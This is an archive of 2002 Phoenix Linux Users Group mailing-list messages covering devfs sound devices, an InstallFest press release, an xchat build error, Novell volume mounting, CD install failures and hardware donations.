04:59:04PM -0700, mazdaracer wrote: > > I too have it dual booted on my laptop and it's ok there. I'm using > > Mandrake 8.1. In fact, I just tried to go over to KDE (works ok) > then > > back to Ice and it didn't 'fix itself' like it sometimes does. > > > > I use the OSS Driver 1.2.5 [libOSS.so] pointing to /dev/dsp as the > > alternate device; switching to default and trying to play gives me > the 3 > > points of why I can't open the sound. I've got a SB Live audio card. > > > > This is interesting: > > [pete@rotor pete]$ ll /dev/dsp > > ls: /dev/dsp: No such file or directory > > [pete@rotor pete]$ ll /dev/d* > > /dev/discs: > > total 0 > > lr-xr-xr-x 1 root root 30 Dec 31 1969 disc0 -> > > ../ide/host0/bus0/target0/lun0/ > > > > /dev/dri: > > total 0 > > crw-rw-rw- 1 root root 226, 0 Jun 1 19:56 card0 > > [pete@rotor pete]$ ll /dev/sound > > total 0 > > crw------- 1 pete audio 14, 4 May 24 19:28 audio > > crw------- 1 pete audio 14, 3 May 24 19:28 dsp > > crw------- 1 pete audio 14, 19 May 24 19:28 dsp1 > > crw------- 1 pete audio 14, 5 May 24 19:28 dspW > > crw------- 1 pete audio 14, 2 May 24 19:28 midi > > crw------- 1 pete audio 14, 18 May 24 19:28 midi1 > > crw------- 1 pete audio 14, 0 May 24 19:28 mixer > > crw------- 1 pete audio 14, 1 May 24 19:28 sequencer > > crw------- 1 pete audio 14, 8 May 24 19:28 sequencer2 > > [pete@rotor pete]$ > > > > > > There should be a /dev/dsp entry but clearly none exist. I changed > the > > sound to point to /dev/sound/dsp and now it's ok. This is kind of > > strange! > > Looks like you're using the new and advanced DevFS. It's an > alternative to > the original flat dev filesystem -- doesn't waste any disk space or > inodes > on your drive, and device entries are registered and unregistered as > modules > are loaded/unloaded. Check your /etc/devfsd.conf to make sure that > MKOLDCOMPAT is enabled -- normally the devfsd daemon will make > symlinks to > the old device names (eg: /dev/sound/dsp -> /dev/dsp). More than > helpful > documentation on devfsd and devfs is available via: > less > /usr/src/linux/Documentation/filesystems/devfs/README > man devfsd > man devfsd.conf > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 02:26:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Tue, 4 Jun 2002 19:26:58 -0700 Subject: Sending out press release - final In-Reply-To: References: Message-ID: <200206041926.58784.dennisk@sahuaro.f2s.com> On Tuesday 04 June 2002 07:09 am, der.hans wrote: > Am 04. Jun, 2002 schwätzte Dennis Kibbe so: > > Just checking that the version up on the PLUG site is the final, > > best-ever, unanimously approved version. If so, I'll get it out to the > > media contacts that Jim sent me. > > The URL: http://www.plugpresents.com/installfest/ > > My suggestions haven't been incorporated. > > ciao, > > der.hans That would be capitalizing Free Software and Open Source. The quote marks do look funny. Something M$ might do, as in the Myth of "free software" or Shared Source is better than so called "open source." Any other suggestions? Dennis From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 02:51:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 4 Jun 2002 19:51:24 -0700 Subject: Sending out press release - final In-Reply-To: <200206041926.58784.dennisk@sahuaro.f2s.com> References: <200206041926.58784.dennisk@sahuaro.f2s.com> Message-ID: <0206041951240Z.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 When the nitpicking is done (hopefully before the 22nd), post the final on discuss or email it to me and I will move it to PlugPresents. On Tuesday 04 June 2002 19:26, you wrote: > On Tuesday 04 June 2002 07:09 am, der.hans wrote: > > Am 04. Jun, 2002 schwätzte Dennis Kibbe so: > > > Just checking that the version up on the PLUG site is the final, > > > best-ever, unanimously approved version. If so, I'll get it out to the > > > media contacts that Jim sent me. > > > > The URL: http://www.plugpresents.com/installfest/ > > > > My suggestions haven't been incorporated. > > > > ciao, > > > > der.hans > > That would be capitalizing Free Software and Open Source. The quote marks > do look funny. Something M$ might do, as in the Myth of "free software" or > Shared Source is better than so called "open source." Any other > suggestions? > > Dennis > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP18rSsk3ywszI1FEQJMwgCg1ZAK/Ag1gw9Vpydjpap2K+cHGLcAoJHk 3WcJyIisuCBBfYZg5lip1s/0 =e13h -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 03:41:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Tue, 4 Jun 2002 20:41:00 -0700 Subject: Sending out press release - LAST CALL! In-Reply-To: <0206041951240Z.00730@nova.wedge.org> References: <200206041926.58784.dennisk@sahuaro.f2s.com> <0206041951240Z.00730@nova.wedge.org> Message-ID: <200206042041.00712.dennisk@sahuaro.f2s.com> This includes suggestions from hans and Bill Lindley. Also, I've removed quotes around "Open Source" and "Free Software" which I thought unneccessary and too M$-like as in the Myrth of "free software." I plan to go to press on Thurday latest unless there are any show stoppers. Dennis =========================================================== FOR IMMEDIATE RELEASE LOCAL USERS GROUP OFFERS FREE GNU/LINUX INSTALLATION HELP On Saturday, June 22, the Phoenix Linux Users Group (PLUG) invites the public to a "GNU/Linux InstallFest" at Scottsdale Community College. Attendees will receive expert help in installing Linux, a freely available operating system, on their personal computers. After the InstallFest, users who brought their computers along can in many cases go home with working systems installed on their machines, free of charge. The package includes web browsers, word processors, and other usual tools that computer users expect. PLUG's organizer for the event is William Lindley, a computer consultant. "This is what the Free Software community is all about - helping each other, and we'll be helping folks get started," Lindley explained. "We're all looking forward to this InstallFest." The software is an alternative to Windows and other proprietary systems. Linux, GNU, FreeBSD and other Open Source and Free Software systems do not require any licensing or upgrade fees, and are said by many experts to be more efficient and secure than Windows systems. Businesses and home users alike are turning to Free Software which can be freely copied, modified, or examined, and which is considered by computer experts to be more robust and secure than proprietary systems. Though there is no charge, the term Free Software actually refers to freedom from license restrictions: Users are never asked to click "I Agree" to a list of prohibitions before using it, and organizations need not store "Certificates of Authenticity" in their safe deposit boxes in case of an audit. The Free Software products are available at no charge through the Internet or as an inexpensive distribution at most local computer stores, but the InstallFest offers users a completed installation by experienced Linux and FreeBSD administrators. Computer users are invited to bring their computers to the event. Usually, only the computer box, monitor, keyboard and mouse need be brought - see the PLUG web page for details. "Your old operating system can remain as an alternative, or we can replace it entirely," Lindley said, "depending on your plans for the machine and how much disk space you have to spare." "This is a important next step in development of computers and the Internet -- making them more affordable and more secure," Lindley said. "We are here to show how easy it can be for computer users to move up to the next level." The event will be held from 10:00 a.m. to 4:00 p.m. in the College's Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is available online at PLUG's web site, ( http://plug.phoenix.az.us ). PLUG members will be available to answer questions about Linux, Open Source software, and the Phoenix Linux Users Group as well. For more information about the InstallFest, email contact@plug.phoenix.az.us or call William Lindley at 480-947-6100 PLUG is an informal group that holds several monthly meetings, on both the East and West sides of Phoenix, to talk about what they've recently done with Linux, GNU and Open Source software; to share problems and solutions, and to discuss issues in the world of Free Software and computers in general. Knowledge of Linux is neither presumed nor required. Between meetings, PLUG members stay in touch through a busy e-mail discussion list. More information about PLUG can be found on the website at http://plug.phoenix.az.us/ . Scottsdale Community College offers two year degree programs in many disciplines including computers, arts, and science. SCC also offers university transfer programs and special interest courses, and has hosted several Free Software events. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 04:35:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Tue, 4 Jun 2002 21:35:26 -0700 (MST) Subject: Sending out press release - final In-Reply-To: <200206041926.58784.dennisk@sahuaro.f2s.com> Message-ID: Am 04. Jun, 2002 schwätzte Dennis Kibbe so: > That would be capitalizing Free Software and Open Source. The quote marks The capitalization was the main thing. http://lists.PLUG.phoenix.az.us/pipermail/plug-discuss/2002-June/025272.html > do look funny. Something M$ might do, as in the Myth of "free software" > or Shared Source is better than so called "open source." Any other > suggestions? Good idea to get rid of the quotes that aren't necessry if you use Free Software and Open Source as proper nouns. ciao, der.hans -- # https://www.LuftHans.com/ # The only way for a woman to change a man # is if he's wearing Depends[TM] - der.hans From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 11:27:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 04:27:04 -0700 Subject: xchat compile Message-ID: <20020605042704.4eb0208f.snoogans@qwest.net> okay it appears that if i want to have the tint transparency option available(and i do :> ) i am going top have to compile xchat from source. I untar/unzip the files cd to the directory, ./configure all is well no errors at all, i type make and get this ... chimera:/home/bob/xchat-1.8.9# make make all-recursive make[1]: Entering directory `/home/bob/xchat-1.8.9' Making all in po make[2]: Entering directory `/home/bob/xchat-1.8.9/po' file=./`echo ca | sed 's,.*/,,'`.gmo \ && rm -f $file && PATH=../src:$PATH -o $file ca.po /bin/sh: -o: command not found make[2]: *** [ca.gmo] Error 127 make[2]: Leaving directory `/home/bob/xchat-1.8.9/po' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/home/bob/xchat-1.8.9' make: *** [all-recursive-am] Error 2 chimera:/home/bob/xchat-1.8.9# First thing i did was check to see if /bin/sh was there, it wasn't so i apt-get that and try again same thing. As lame as it sounds this litle option is something i would really like, if someone could help me out with this i would appreciate it, thanks in advance :) From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 12:43:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 05 Jun 2002 08:43:40 -0400 Subject: OT: Access to an AIX platform? Message-ID: Adtron has the need to test one of our SCSI drive products on an AIX machine. Free time is good but we are willing to pay a reasonable price for time on an AIX system here in the Phoenix valley. Does anyone know of one? Is there an AIX users group still active out there? Alan From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 16:17:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Tue, 4 Jun 2002 09:17:09 -0700 (MST) Subject: mounting novell volumes In-Reply-To: <200206040810.16001.plug@the-arcanum.org> Message-ID: Nathan, the win98 desktop(s), is there a Novell client enabled, and set to use IPX? The microsoft IPX drivers should do the trick if you don't want to or don't have the full Novell client-32 drivers. If memory serves me correctly, your typical netware 3.12 only talks IPX on the network. IPX tunneled through TCP/IP was available, but was kinda stinky. - tom e. On Tue, 4 Jun 2002, Nathan England wrote: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The server boots okay, the sys volume is a 2gb partition, and it has almost 6 meg of free space.. The people who use this know nothing about novell, neither does their company, and neither do I. THis is netware 3.12 It boots, takes about 15-20 minutes to mount the sys volume, but I can't get any workstations to acknowledge it. We want to switch them over to a small win98 machine that can do just file serving, but need the css data (from the hotel reservation system) before we can do anything. I'lll look at some of those free tools, thanks a lot Steve. nathan Am Montag 03 Juni 2002 02:09 nachmittags schrieb foodog: > Nathan, I haven't heard of a non-Netware method of mounting Netware > volumes. Is the server unbootable? FWIW, the best non-Novell tools for > Netware that I know of come from: > http://www.PortlockSoftware.com - > http://www.ontrack.com - > http://www.jrbsoftware.com -- large number of "free" utils plus more > that cost. > > Of course, searching through support.novell.com and developer.novell.com > yields lots of free tools and info. > > BTW, if the server *isn't* toasted and you're running NW 5.x or 6 > there's support for NFS > > Could you elaborate on the situation? > Steve > > Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > I booted up a novell machine using a bbc cd and I need to mount the > > novell volume (/dev/hda2) onto the tree so I can export it. > > The fdisk info says it is id 65 Novell Netware 386 > > > > Does anyone know how I can mount that? I tried the ncpfs module, but it > > doesn't work. > > > > nathan > > -----BEGIN PGP SIGNATURE----- > > Version: GnuPG v1.0.7 (GNU/Linux) > > > > iD8DBQE8+65cQ7yNnsYcupwRAnx9AJ9Ga+JvecuXlU9n32S/9m7M7hkbFgCgq08N > > 5V5D6ElmVvifCzrLPF8nRyM= > > =d4n0 > > -----END PGP SIGNATURE----- > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE8/NhXQ7yNnsYcupwRAgZoAJ9kVBz4fRJNSXb6Y2iebZYkY8uYXQCgqBXa 1Fo55C8NyzarP66Nlw65dmQ= =u9LP -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 14:57:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 05 Jun 2002 10:57:58 -0400 Subject: RH7.3 disc fails on floppy boot install Message-ID: I have a set of RH7.3 CDs that have been successfully used on two computers and at least one other by someone else. My successes have been with computers that were able to boot off the CD and install from there. I have another computer that does not have the brains to boot from the CD. I sucessfully did a floppy boot install with RH7.2 on this same computer. I made an install boot floppy that starts up fine but when the install gets to the point of reading the CD, it fails. It attempts to spin up several times for several minutes and eventually fails. I am assuming this is a bad CD that works OK for booting but not for floppy installs. That puzzles me, however, because I would think that boot from CD or floppy would use most of the same files on the CD at the point the floppy install fails. Anyone else have any hints here? Do I need to go buy some new CDs? Alan From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 16:18:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard J Herrem) Date: Wed, 5 Jun 2002 09:18:30 -0700 Subject: RH7.3 disc fails on floppy boot install Message-ID: <20020605.091832.-1837903.1.herrem@juno.com> I had this problem, but it turned out to be a loose cdrom. I was able to install from another cdrom through a network with the bootnet.img floppy starting the process. (Used cdrom for sale.;^) Rick Herrem On Wed, 05 Jun 2002 10:57:58 -0400 writes: > I have a set of RH7.3 CDs that have been successfully used on two > computers and at least one other by someone else. My successes have > been with computers that were able to boot off the CD and install > from there. > > I have another computer that does not have the brains to boot from > the CD. I sucessfully did a floppy boot install with RH7.2 on this > same computer. > > I made an install boot floppy that starts up fine but when the > install gets to the point of reading the CD, it fails. It attempts > to spin up several times for several minutes and eventually fails. > > > I am assuming this is a bad CD that works OK for booting but not for > floppy installs. That puzzles me, however, because I would think > that boot from CD or floppy would use most of the same files on the > CD at the point the floppy install fails. Anyone else have any > hints here? Do I need to go buy some new CDs? > > Alan > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write > mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 16:23:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 5 Jun 2002 09:23:18 -0700 Subject: RH7.3 disc fails on floppy boot install In-Reply-To: References: Message-ID: <200206050923.28647.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 05 June 2002 07:57 am, alandd@mindspring.com wrote: > I have a set of RH7.3 CDs that have been successfully used on two > computers and at least one other by someone else. My successes have been > with computers that were able to boot off the CD and install from there. > > I have another computer that does not have the brains to boot from the > CD. I successfully did a floppy boot install with RH7.2 on this same > computer. > > I made an install boot floppy that starts up fine but when the install > gets to the point of reading the CD, it fails. It attempts to spin up > several times for several minutes and eventually fails. > > I am assuming this is a bad CD that works OK for booting but not for > floppy installs. That puzzles me, however, because I would think that > boot from CD or floppy would use most of the same files on the CD at the > point the floppy install fails. Anyone else have any hints here? Do I > need to go buy some new CDs? I have seen this behavior quite a bit on my systems, and I would have to say that the CD-ROM is bad. Although a bit rare with pressed CDs, this behavior is much more prevalent among burnt ones. I also can't tell you if getting new CDs will help at all since I have never been able to find out what exact propert of the disc causes the CD-ROM to fail. Essentially, it knows there is something there but can't read the disk (similar to what the new audio CD copy prevention does intentionally). Okay, the above doesn't make sense, but I am not about to retype it. Summary? Either do the network install (which is really easy if you already have a network card) or buy a new CD-ROM (which is really cheap). Good luck! PS: Your problems might have something to do with a failing power supply, as well. I know in at least one out of the 3 "bad" CD-ROM drives I owned, the problem was fixed by dropping in a new PSU. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8/jr7pNoctRtUIRQRAustAJ9JvX7WonvSSPmRfQVmubZ5BXcnFACfQAr0 ZXekffMi23HKjntNmnfS+fQ= =lcRu -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 16:44:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Wed, 5 Jun 2002 09:44:40 -0700 Subject: Old computers available In-Reply-To: <20020604174319.A87199@lilly.csoft.net> Message-ID: Mike, thanks for the offer. I'm heading out to pick up some hardware from Matt. Right now I'm looking for some monitors of either 15" or 17". Please PM to mberkwitt@REMOVEcox.net. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Mike Sent: Tuesday, June 04, 2002 3:43 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available If Matt's well is dry I will donate 3 of mine for your cause. On Tue, Jun 04, 2002 at 03:20:09PM -0700, Mark Berkwitt wrote: Matt, I could use 4 or 5 for a woman's recovery center in Prescott Arizona. They'd be used for Internet use, creating resumes and individual writing. This center is a licensed nonprofit org which can provide donation receipts. Thanks. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt Alexander Sent: Monday, June 03, 2002 4:37 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available On Mon, 3 Jun 2002, Shawn Rutledge wrote: > Sounds OK to me. > > Do they have CD's floppies or anything else interesting? > What kind of video and network cards? Passive heatsinks or > fans? (Interesting for embedded use...) Ah, I forgot to mention that these do not have cdrom drives. Most are missing floppy drives. All have video cards that work with Linux (I'm too lazy to check the exact brand right now) and 10Mb network cards. The CPUs have fans. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 17:05:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 05 Jun 2002 13:05:56 -0400 Subject: Sending out press release - LAST CALL! Message-ID: Not a problem with the press release but the web site. Quoting the press release: "The event will be held from 10:00 a.m. to 4:00 p.m. in the College's Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is available online at PLUG's web site, ( http://plug.phoenix.az.us ). " I may have missed it but I don't see a link to a map anywhere on the site or the installfest site. We better get one up. Alan From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 17:32:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 5 Jun 2002 10:32:11 -0700 Subject: xchat compile In-Reply-To: <20020605042704.4eb0208f.snoogans@qwest.net>; from snoogans@qwest.net on Wed, Jun 05, 2002 at 04:27:04AM -0700 References: <20020605042704.4eb0208f.snoogans@qwest.net> Message-ID: <20020605103211.A27101@nadesico> On Wed, Jun 05, 2002 at 04:27:04AM -0700, robert jorgenson wrote: > okay it appears that if i want to have the tint transparency option available(and i do :> ) i am going top have to compile xchat from source. I untar/unzip the files cd to the directory, ./configure all is well no errors at all, i type make and get this ... > > chimera:/home/bob/xchat-1.8.9# make > make all-recursive > make[1]: Entering directory `/home/bob/xchat-1.8.9' > Making all in po > make[2]: Entering directory `/home/bob/xchat-1.8.9/po' > file=./`echo ca | sed 's,.*/,,'`.gmo \ > && rm -f $file && PATH=../src:$PATH -o $file ca.po > /bin/sh: -o: command not found > make[2]: *** [ca.gmo] Error 127 > make[2]: Leaving directory `/home/bob/xchat-1.8.9/po' > make[1]: *** [all-recursive] Error 1 > make[1]: Leaving directory `/home/bob/xchat-1.8.9' > make: *** [all-recursive-am] Error 2 > chimera:/home/bob/xchat-1.8.9# > > First thing i did was check to see if /bin/sh was there, it wasn't so i apt-get that and try again same thing. As lame as it sounds this litle option is something i would really like, if someone could help me out with this i would appreciate it, thanks in advance :) Looks to me like the Makefile isn't setting $(CC) properly. Check the toplevel Makefile to see if it's redefining it to something bizarre. Since it's an autoconf configure script, you'll likely have to edit the po/Makefile and all other subdirectory's Makefiles as well. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 17:39:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 5 Jun 2002 10:39:57 -0700 Subject: Sending out press release - LAST CALL! In-Reply-To: <200206042041.00712.dennisk@sahuaro.f2s.com> References: <0206041951240Z.00730@nova.wedge.org> <200206042041.00712.dennisk@sahuaro.f2s.com> Message-ID: <02060510395710.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I can easily put a link to a map of SCC when I update PlugPresents web site. I bet Vic can do the same for the Plug web site. Kimi has made available an email address (installfest@unitywave.com). Do we want to use this instead of contact@plug.phoenix.az.us? If we do, we obviously change the Press Release and let Kimi know who to forward the mail from that address to. On Tuesday 04 June 2002 20:41, you wrote: > This includes suggestions from hans and Bill Lindley. Also, I've removed > quotes around "Open Source" and "Free Software" which I thought > unneccessary and too M$-like as in the Myrth of "free software." > > I plan to go to press on Thurday latest unless there are any show stoppers. > > Dennis > =========================================================== > FOR IMMEDIATE RELEASE > > LOCAL USERS GROUP OFFERS FREE GNU/LINUX INSTALLATION HELP > > On Saturday, June 22, the Phoenix Linux Users Group (PLUG) invites the > public to a "GNU/Linux InstallFest" at Scottsdale Community College. > Attendees will receive expert help in installing Linux, a freely available > operating system, on their personal computers. > > After the InstallFest, users who brought their computers along can in many > cases go home with working systems installed on their machines, free of > charge. The package includes web browsers, word processors, and other usual > tools that computer users expect. > > PLUG's organizer for the event is William Lindley, a computer consultant. > "This is what the Free Software community is all about - helping each > other, and we'll be helping folks get started," Lindley explained. "We're > all looking forward to this InstallFest." > > The software is an alternative to Windows and other proprietary systems. > Linux, GNU, FreeBSD and other Open Source and Free Software systems do not > require any licensing or upgrade fees, and are said by many experts to be > more efficient and secure than Windows systems. > > Businesses and home users alike are turning to Free Software which can be > freely copied, modified, or examined, and which is considered by computer > experts to be more robust and secure than proprietary systems. > > Though there is no charge, the term Free Software actually refers to > freedom from license restrictions: Users are never asked to click "I Agree" > to a list of prohibitions before using it, and organizations need not store > "Certificates of Authenticity" in their safe deposit boxes in case of an > audit. > > The Free Software products are available at no charge through the Internet > or as an inexpensive distribution at most local computer stores, but the > InstallFest offers users a completed installation by experienced Linux and > FreeBSD administrators. Computer users are invited to bring their computers > to the event. Usually, only the computer box, monitor, keyboard and mouse > need be brought - see the PLUG web page for details. > > "Your old operating system can remain as an alternative, or we can replace > it entirely," Lindley said, "depending on your plans for the machine and > how much disk space you have to spare." > > "This is a important next step in development of computers and the Internet > -- making them more affordable and more secure," Lindley said. "We are here > to show how easy it can be for computer users to move up to the next > level." > > The event will be held from 10:00 a.m. to 4:00 p.m. in the College's > Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is > available online at PLUG's web site, ( http://plug.phoenix.az.us ). > > PLUG members will be available to answer questions about Linux, Open Source > software, and the Phoenix Linux Users Group as well. > > For more information about the InstallFest, email > contact@plug.phoenix.az.us or call William Lindley at 480-947-6100 > > PLUG is an informal group that holds several monthly meetings, on both the > East and West sides of Phoenix, to talk about what they've recently done > with Linux, GNU and Open Source software; to share problems and solutions, > and to discuss issues in the world of Free Software and computers in > general. Knowledge of Linux is neither presumed nor required. Between > meetings, PLUG members stay in touch through a busy e-mail discussion list. > > More information about PLUG can be found on the website at > http://plug.phoenix.az.us/ . > > Scottsdale Community College offers two year degree programs in many > disciplines including computers, arts, and science. SCC also offers > university transfer programs and special interest courses, and has hosted > several Free Software events. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP5M7isk3ywszI1FEQKs2ACfbAQIoNLreTuipqO7gn5BXnUBpaIAn3gD Ty1C4MmPX0Bqc2akVDdN+aDv =1Rl1 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 17:38:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Simper, Brian D) Date: Wed, 5 Jun 2002 10:38:38 -0700 Subject: Building an RPM Message-ID: Do any of you have a recommended reference for building an RPM file? I have the book "Maximum RPM" but it is dated 1997 and I suspect that there may be some new information somewhere out there Any suggestions? Thanks, Brian From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 17:49:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Wed, 5 Jun 2002 10:49:14 -0700 (MST) Subject: RH7.3 disc fails on floppy boot install In-Reply-To: <200206050923.28647.voltage_spike@fastmail.fm> Message-ID: Most older CDROM drives have difficulties with CDR discs. If it's an old CDROM drive that's giving you the problem - generally a 4x or lower drive - trade it out for a newer model and see whether that helps. \\/ http://www.wlindley.com p.s., Would y'all say it's an accepted protocol to use "disc" for optical media (CDs, WORMs, laserdiscs) and "disk" for magnetic media (floppy disks, hard disks)? From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 18:07:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 05 Jun 2002 14:07:16 -0400 Subject: RH7.3 disc fails on floppy boot install Message-ID: Disc == optical media Disk == magnetic media This is not only the accepted protocol but is the correct uses of the spelling. Alan On Wed, 5 Jun 2002 10:49:14 -0700 (MST) William Lindley wrote: Most older CDROM drives have difficulties with CDR discs. If it's an old CDROM drive that's giving you the problem - generally a 4x or lower drive - trade it out for a newer model and see whether that helps. \/ http://www.wlindley.com p.s., Would y'all say it's an accepted protocol to use "disc" for optical media (CDs, WORMs, laserdiscs) and "disk" for magnetic media (floppy disks, hard disks)? ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 18:05:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 5 Jun 2002 11:05:50 -0700 Subject: RH7.3 disc fails on floppy boot install In-Reply-To: References: Message-ID: <200206051105.50399.voltage_spike@fastmail.fm> On Wednesday 05 June 2002 10:49 am, William Lindley wrote: > p.s., Would y'all say it's an accepted protocol to use "disc" for optical > media (CDs, WORMs, laserdiscs) and "disk" for magnetic media (floppy > disks, hard disks)? I do, although I don't know why . . . -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:11:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 5 Jun 2002 13:11:10 -0700 Subject: Open Office 1.0 for Linux and Windows Message-ID: <02060513111011.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Looking for a copy of OO for Linux and Windows on a CD so that I dont have to spend the next week downloading it over a 56K connection. Anyone have them? - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 